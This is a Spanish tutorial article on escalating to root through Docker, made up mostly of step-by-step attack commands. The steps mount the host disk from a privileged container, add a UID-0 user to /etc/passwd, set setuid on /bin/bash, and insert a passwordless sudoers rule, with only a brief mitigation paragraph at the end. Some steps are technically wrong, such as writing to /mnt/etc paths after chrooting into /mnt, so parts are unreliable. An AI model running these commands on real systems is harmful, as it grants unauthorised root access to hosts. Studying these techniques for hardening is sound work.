La escalada de privilegios es una técnica utilizada por los atacantes para obtener acceso privilegiado en un sistema. En este artículo, exploraremos dos ejemplos prácticos de escalada de privilegios utilizando Docker.
Ejemplo 1: Escalada de Privilegios con Docker y Chroot
Escenario
Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El contenedor se ejecuta con privilegios elevados utilizando la opción --privileged
. El objetivo del atacante es obtener acceso de root en el contenedor y, posteriormente, en el sistema host.
Pasos
- Ejecución del Contenedor con Privilegios Elevados:El atacante ejecuta un contenedor Docker con privilegios elevados utilizando la opción
--privileged
:
docker run --privileged --rm -it debian bash
Instalación de Herramientas Adicionales:
apt update
apt install openssl
Generación de Contraseña Cifrada:
El atacante utiliza OpenSSL para generar una contraseña cifrada utilizando salt:
openssl passwd -1 -salt rokito temporal
El resultado será una contraseña cifrada que se utilizará más adelante para crear un nuevo usuario
- Montaje del Sistema de Archivos:El atacante monta el sistema de archivos raíz del contenedor en un directorio temporal:
mount /dev/sda1 /mnt
Modificación del Archivo /etc/passwd
:
El atacante agrega una nueva entrada al archivo /etc/passwd
del sistema de archivos montado para crear un nuevo usuario con privilegios de root:
echo "rokito:$1$rokito$iLdLx8kQZUZ7gM/B7OL980:0:0:rokito,,,:/root:/bin/bash" >> /mnt/etc/passwd
Conexión al Contenedor a través de SSH:
Una vez creada la nueva entrada de usuario, el atacante se conecta al contenedor a través de SSH utilizando la contraseña cifrada generada anteriormente:
ssh rokito@localhost
Ejemplo 2: Escalada de Privilegios con Docker y chmod +s
Escenario
Supongamos que un usuario malintencionado ha obtenido acceso a un sistema como un usuario no privilegiado llamado «rokitoh». El objetivo es elevar los privilegios para obtener acceso de root al sistema.
Pasos
- Verificación de Identidad Actual:El primer paso es verificar la identidad del usuario actual. Esto se puede hacer con el comando
id
.
$ id
uid=1000(rokitoh) gid=1000(rokitoh) grupos=1000(rokitoh),994(docker)
- En este caso, el usuario «rokitoh» tiene un UID y GID de 1000 y pertenece al grupo «docker».
- Ejecución de un Contenedor Docker con Montaje del Sistema de Archivos Raíz del Host:Se ejecuta un contenedor Docker con la opción
-v
para montar el sistema de archivos raíz del host dentro del contenedor.
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
- Esto permite acceder al sistema de archivos raíz del host desde dentro del contenedor.
- Cambio de Permisos del Binario de Bash:Dentro del contenedor, se cambian los permisos del binario de Bash para que tenga el bit setuid.
# chmod +s /bin/bash
- Esto permite que el binario de Bash se ejecute con los privilegios de su propietario (root).
- Salida del Contenedor:Se sale del contenedor Docker.
- Verificación de Identidad Después de la Escalada de Privilegios:Se verifica la identidad del usuario nuevamente.
$ id
uid=1000(rokitoh) gid=1000(rokitoh) grupos=1000(rokitoh),994(docker)
Ejecución de Bash con Permisos de Root:
Se ejecuta Bash con los permisos de root utilizando el bit setuid en el binario de Bash.
$ bash -p
Verificación de Identidad como Root:
Se verifica la identidad del usuario nuevamente dentro de Bash.
$ id
uid=1000(rokitoh) gid=1000(rokitoh) euid=0(root) egid=0(root) grupos=0(root),994(docker),1000(rokitoh)
Ejemplo 3: Agregar Usuario al Grupo Sudoers
Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El objetivo es agregar el usuario «rokitoh» al archivo /mnt/etc/sudoers
con permisos de root y sin necesidad de contraseña.
Pasos:
- Ejecución del Contenedor con Montaje del Sistema de Archivos Raíz del Host:El atacante ejecuta un contenedor Docker con la opción
-v
para montar el sistema de archivos raíz del host dentro del contenedor.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Agregar Usuario al Archivo /mnt/etc/sudoers
:
- Dentro del contenedor, el atacante agrega una entrada para el usuario «rokitoh» en el archivo
/mnt/etc/sudoers
con permisos de root y sin necesidad de contraseña.
echo "rokitoh ALL=(ALL) NOPASSWD:ALL" >> /mnt/etc/sudoers
Esto permitirá al usuario «rokitoh» ejecutar comandos con privilegios de root utilizando sudo
sin necesidad de ingresar una contraseña.
Ejemplo 4: Agregar Usuario al Grupo Sudoers Utilizando sed
Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El objetivo es agregar el usuario «rokitoh» al grupo «sudo» en el archivo /mnt/etc/group
utilizando el comando sed
.
Pasos:
- Ejecución del Contenedor con Montaje del Sistema de Archivos Raíz del Host:El atacante ejecuta un contenedor Docker con la opción
-v
para montar el sistema de archivos raíz del host dentro del contenedor.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
- Agregar Usuario al Grupo Sudo en el Archivo
/mnt/etc/group
:
Dentro del contenedor, el atacante utiliza el comando sed
para agregar el usuario «rokitoh» al grupo «sudo» en el archivo /mnt/etc/group
.
sudo sed -i '/^sudo:/s/$/ rokitoh/' /mnt/etc/group
Esto agregará el usuario «rokitoh» al grupo «sudo», lo que le otorgará privilegios de root al ejecutar comandos con sudo
.
Conclusiones
Este ejemplo ilustra cómo un atacante puede aprovechar los privilegios elevados de un contenedor Docker y realizar modificaciones en el sistema de archivos para obtener acceso de root. Para mitigar este tipo de amenazas, es crucial implementar medidas de seguridad adecuadas, como limitar los privilegios de los contenedores, monitorear las actividades sospechosas y aplicar parches de seguridad regularmente.